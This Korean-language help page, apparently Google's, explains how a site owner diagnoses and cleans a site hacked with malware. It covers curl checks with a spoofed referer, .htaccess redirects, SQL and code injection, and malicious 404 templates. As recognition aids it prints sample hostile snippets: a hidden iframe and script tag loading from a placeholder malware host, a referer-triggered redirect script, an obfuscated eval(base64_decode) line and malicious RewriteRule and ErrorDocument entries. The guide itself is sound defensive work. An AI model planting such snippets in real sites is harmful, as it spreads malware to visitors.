멀웨어로 해킹됨

멀웨어란 컴퓨터, 휴대기기, 실행 중인 소프트웨어 또는 사용자에게 피해를 주기 위해 설계된 소프트웨어 또는 모바일 애플리케이션입니다. 멀웨어에 대한 자세한 내용은 멀웨어 및 원치 않는 소프트웨어를 참고하세요.

사이트에 멀웨어가 포함된 경우 일반적으로 사용자가 사이트를 방문하려고 할 때 검색 결과 또는 브라우저에 표시되는 전면 페이지에 '이 사이트는 컴퓨터에 문제를 야기할 수 있습니다'라는 경고가 표시됩니다(예:

대표적인 멀웨어 전면 광고 페이지
멀웨어 경고가 있는 검색 결과

전화를 걸고 받기 위해 필요한 사항은 다음과 같습니다.

  • 사이트의 서버(웹, 데이터베이스, 파일)에 대한 셸 또는 터미널 관리자 액세스 권한
  • 셸 또는 터미널 명령에 대한 지식
  • 데이터베이스에서 SQL 쿼리를 실행할 수 있는 기능

준비

  • Search Console에 가입하고 설명된 대로 해킹된 사이트의 소유권을 확인합니다. Search Console에서는 영향을 받은 페이지 샘플을 제공하므로 멀웨어로 해킹된 문제를 훨씬 쉽게 찾고 해결할 수 있습니다. 또한 사이트가 여러 유형의 멀웨어 또는 기타 해킹의 영향을 받는 것으로 감지되면 경고가 표시됩니다.
  • Google 세이프 브라우징 진단 페이지에서 사이트가 사용자에게 잠재적으로 유해한지에 관한 공개 정보를 확인합니다. 다음과 유사한 URL에서 페이지 또는 사이트의 등록정보 상태를 확인할 수 있습니다. https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>*** 예: https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com

    <<page_or_site>>는 특정 페이지 URL (http://example.com/badpage) 또는 전체 사이트 (example.com)일 수 있습니다.

  • 브라우저를 사용하여 사이트의 페이지를 보지 마세요. 멀웨어는 주로 브라우저 취약점을 이용해 전파되므로 감염된 멀웨어 페이지를 브라우저에서 열면 컴퓨터에 피해를 줄 수 있습니다. 진단 안내에 브라우저에서 페이지에 직접 액세스하라고 안내하지 않는 한 cURL 또는 Wget을 사용하여 HTTP 요청(예: 페이지 가져오기)을 실행합니다.

    무료로 사용할 수 있는 이러한 도구는 리디렉션을 진단하는 데 도움이 되며 리퍼러 또는 사용자 에이전트 정보를 유연하게 포함할 수 있습니다. 특정 리퍼러 또는 사용자 에이전트를 포함하면 해커를 모방하는 데 도움이 됩니다. 해커는 더 많은 '실제 사용자'를 타겟팅하고 사이트 소유자 및 멀웨어 스캐너의 감지를 피하기 위해 특정 사용자 에이전트 또는 리퍼러가 있는 사용자에게만 악성 콘텐츠를 게재할 수 있기 때문입니다.

`curl -v --referer "http://www.google.com" <your-url>`

다음은 사용자 에이전트와 리퍼러를 모두 지정하는 예입니다.

`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`

일부 멀웨어는 사용자가 Google 검색 결과에서 유입될 때만 활성화되므로 --referer "https://www.google.com" 유무와 관계없이 페이지를 가져오는 것이 좋습니다.

  • 이 단계에서부터 문서를 만들어 발견한 사항을 기록합니다. 이 문서에는 최소한 손상된 각 파일의 이름과 위치, 감염된 방식에 관한 메모가 포함되며 사이트 정리 및 유지관리의 기반이 됩니다.

  • 이 페이지의 앞부분에 있는 동영상을 시청하여 멀웨어의 작동 방식과 멀웨어 조사 중에 안전하게 보호하는 방법을 알아보세요.

진단

사이트에 영향을 주는 멀웨어를 확인합니다.

  1. Search Console에서 사이트의 보안 문제 보고서를 엽니다. 멀웨어 경고 설명을 펼쳐서 영향을 받은 페이지의 예시 목록을 확인합니다. 이 목록은 완전하지는 않습니다. 사이트에 있는 모든 유형의 멀웨어에 대한 예시 페이지가 표시되지 않을 수도 있습니다.
  2. 예시 페이지에서 다음 유형의 멀웨어를 테스트합니다.

서버 구성 멀웨어 (원치 않는 리디렉션)

해커가 사이트를 해킹하고 서버 구성 파일을 수정하는 등의 행위로 사이트 방문자를 해커의 멀웨어 공격 사이트로 리디렉션합니다. 일반적으로 사이트 관리자는 서버 구성 파일을 통해 웹사이트의 특정 페이지 또는 디렉터리에 URL 리디렉션을 지정할 수 있습니다. 예를 들어 Apache 서버의 .htaccess 파일 및 httpd.conf 파일이 여기에 해당합니다.

진단

보안 문제 보고서에 나와 있는 예시 URL을 방문해 봅니다. '서버 구성' 멀웨어에 감염된 페이지의 경우 응답에 다음 헤더가 포함될 수 있습니다.

&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253

영향을 받는 파일 확인

셸이나 터미널 액세스를 통해 서버에 로그인 (원하는 경우 사이트가 오프라인 상태여도 됨)하고 관련 서버 구성 파일을 검토합니다. 사이트에 해킹된 서버 구성 파일이 2개 이상일 수도 있습니다. 알 수 없는 사이트로 리디렉션하는 것과 같은 원치 않는 명령어가 있는지 파일을 확인합니다. 예를 들어 .htaccess` 파일에서 다음과 같은 리디렉션을 확인할 수 있습니다.

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-site_</strong></em>&gt;/index.html** [R=301]

SQL 삽입

해커가 사이트의 데이터베이스를 해킹했습니다. 예를 들어 해커가 데이터베이스 테이블의 모든 레코드에 프로그래매틱 방식으로 악성 코드를 삽입했을 수 있습니다. 이로 인해 나중에 서버에서 데이터베이스 정보를 필요로 하는 페이지를 로드하면 이 악성 코드가 페이지의 콘텐츠에 삽입되며 사이트의 방문자에게까지 피해를 주기도 합니다.

진단

  1. 명령줄에서 영향을 받은 URL에 몇 가지 쿼리를 실행하고 'iframe' 또는 'eval'과 같은 SQL 공격 단어에 대한 응답을 조사합니다.
  2. 데이터베이스 서버에 로그인하거나 phpMyAdmin과 같은 도구를 통해 데이터베이스를 확인합니다. Wget 또는 cURL을 사용한 경우 Wget 또는 cURL을 통해 페이지 소스 코드에서 확인한 피해 상황을 실제 데이터베이스 항목과 서로 비교해 봅니다. 예를 들어 페이지에 위험한 iframe이 포함된 것을 발견한 경우 iframe 코드를 검색하는 SQL 쿼리를 실행할 수 있습니다. 예를 들면 다음과 같습니다.

    SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
  3. 또한 서버의 데이터베이스 로그와 오류 파일에 비정상적인 활동(예: 일반 사용자에게는 비정상적으로 보이는 예기치 않은 SQL 명령어 또는 오류)이 있는지 확인하는 것이 좋습니다.

문제 해결

감염된 각 데이터베이스 레코드를 업데이트하거나 알려진 최신 데이터베이스 백업을 복원합니다.

코드 삽입

사이트의 페이지가 멀웨어 공격 사이트로 연결되는 iframe과 같은 악성 코드가 포함되도록 수정되었습니다.

진단

cURL 또는 wGet을 사용하여 보안 문제 보고서에 표시된 예시 URL 중 일부를 방문하고 의심스러운 코드가 있는지 검사합니다. 삽입된 코드는 다양한 유형을 사용할 수 있으며 찾기 어려울 수 있습니다. iframe 코드를 찾으려면 'iframe'과 같은 단어를 검색하는 것이 도움이 될 수 있습니다. 기타 유용한 키워드에는 'script', 'eval' 및 'unescape'가 있습니다. 예를 들어 Unix 기반 시스템에서 'iframe'에 관한 모든 파일을 검색하려면 다음을 입력하세요.

$grep -irn "iframe" ./ | less</pre>

다음은 주의해야 할 일반적인 멀웨어 패턴입니다.

악성 사이트를 로드하는 iframe:

&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;

자바스크립트 또는 공격 사이트에서 스크립트를 호출하고 실행하는 기타 스크립트 언어

&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;

브라우저를 공격 사이트로 리디렉션하는 스크립트

&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;
<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;

발견되지 않도록 난독화된 악성 코드:

eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));

다른 점에서는 무해한 스크립트에 유해 코드를 무작위로 작성하도록 설계된 공유 개체 파일:

#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c

악성 오류 템플릿

'404 파일을 찾을 수 없음'과 같은 오류 메시지에 사용되는 템플릿이 멀웨어를 배포하도록 구성된 경우에 발생합니다. 이를 통해 공격자는 사이트에 존재하지 않는 URL을 공격할 수 있습니다.

진단

사이트에서 존재하지 않는 페이지나 다른 유형의 오류를 일으키는 페이지를 요청하고 응답이 다른 사이트에서 오는지 혹은 멀웨어를 포함하는지 조사합니다.

문제 해결

웹 서버에 로그인하고 서버 구성 파일에서 오류 페이지 명령어를 검색합니다. 예를 들어 Apache 웹 서버의 오류 템플릿은 .htaccess 파일에 정의되어 있을 수 있습니다. 다음은 악성 사이트에서 404 오류 페이지를 가져오는 .htaccess 파일 항목의 예시입니다.

ErrorDocument 404 http://&lt;<span class="red-text"><em><strong>_malware-site_</strong></em></span>&gt;/index.html

사이트를 정리할 준비가 되면 .htaccess 파일을 알려진 안전한 백업으로 대체하거나 기존 .htaccess 파일에서 원하지 않는 ErrorDocument 명령어를 삭제하세요. 또한 사이트에 실제 오류 파일이 있다면 제거해야 합니다. 마지막으로 웹 서버를 다시 시작하여 모든 변경사항이 적용되는지 확인합니다.

손상되거나 악성 사이트에서 로드되는 리소스({compromised-resources})

사이트에서 악성 콘텐츠를 포함하는 것으로 알려진 웹사이트의 콘텐츠 또는 리소스를 사용합니다. JavaScript 파일, 이미지 또는 기타 파일일 수 있습니다. 이로 인해 다른 사이트에서 로드된 멀웨어로 인해 사이트가 신고됩니다.

진단

보안 문제 보고서에 나와 있는 예시 URL을 방문해 봅니다.

문제 해결

  1. Search Console의 보안 문제 보고서에 나열된 샘플 URL을 일부 방문하여 문제를 확인합니다. 브라우저 경고가 표시됩니다.
  2. 브라우저 경고에서 의심스러운 콘텐츠 도메인을 알려줍니다. 브라우저 경고에 나열된 신고 사이트에 대한 모든 참조를 삭제하세요. 나도 모르게 신고된 사이트의 콘텐츠가 포함된 경우 문제가 더 심각합니다. 사이트가 도용되었을 가능성이 높으며 사이트에서 다른 해킹 및 취약점이 있는지 계속해서 확인해야 합니다.
  3. 신고된 적법한 사이트의 콘텐츠를 의도적으로 포함했으며 신고된 사이트가 정리된 후 콘텐츠를 다시 포함하려는 경우 해당 사이트의 Google 세이프서치 진단 페이지 (http://www.google.com/safebrowsing/diagnostic?site=www.example.com){:.external}를 사용하여 신고된 사이트의 상태를 모니터링할 수 있습니다. 합법적인 사이트의 소유자는 일반적으로 이러한 문제를 신속하게 해결합니다.

추가 조사

그런 다음 시스템에 추가로 악성 파일이나 변경사항이 있는지 확인합니다. 해커가 기존 페이지 또는 데이터베이스 레코드를 수정했거나, 완전히 새로운 스팸 페이지를 만들었거나, 깨끗한 페이지에 스팸을 표시하는 함수를 작성했거나, 해커가 사이트에 다시 액세스하거나 삭제한 악성 코드를 다시 삽입할 수 있는 '백도어'를 남겨 두었을 수 있습니다.

사이트가 온라인 상태인 경우 조사를 위해 사이트를 오프라인으로 전환하는 것이 좋습니다.

사이트의 정상적인 백업이 있는 경우 백업 이후에 생성되거나 수정된 파일을 확인하고 조사합니다. Unix 기반 시스템에서는 다음과 같은 명령어를 사용하여 새 파일을 찾을 수 있습니다.

diff -qr <current-directory> <backup-directory>

예를 들면 다음과 같습니다.

diff -qr www/ backups/full-backup-20120124/

또한:

md5sum <current-page> <backup-page>

예를 들면 다음과 같습니다.

md5sum www/page.html backups/full-backup-20120124/page.html

로그인 시도 실패, 명령어 기록 (특히 루트 권한으로), 알 수 없는 사용자 계정 생성 등 서버, 액세스, 오류 로그에 의심스러운 활동이 있는지 확인합니다. 해커가 자신의 목적으로 이러한 로그를 변경했을 수 있다는 점에 유의하세요. 취약점 식별 동영상에 몇 가지 예가 나와 있습니다.

구성 파일에서 리디렉션 확인 구성 파일의 이름은 일반적으로 .htaccesshttpd.conf입니다. 해커는 사용자 에이전트, 시간 또는 리퍼러를 기반으로 조건부 리디렉션을 만드는 경우가 많습니다. 구성 파일을 업데이트해야 하는 경우 변경사항이 적용되도록 서버를 다시 시작해야 할 수 있습니다.

과도하게 관대한 폴더 및 파일 권한을 확인합니다. 해커는 권한을 조작합니다. 사이트 소유자가 관대한 권한을 감지하지 못하면 해커가 사이트에 다시 액세스할 수 있기 때문입니다. 644 (rw-r--r--)보다 큰 파일과 755 (rwxr-xr-x)보다 큰 폴더는 보안 문제를 일으킬 수 있습니다. 더 느슨한 권한이 실제로 필요한지 확인합니다. Unix 기반 시스템에서는 다음을 시도해 보세요.

find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;

및:

find <your-dir> -type f -not -perm 644 -exec ls -la {} \;

데이터베이스가 있는 경우 phpMyAdmin과 같은 도구를 사용하여 레코드별로 조사합니다.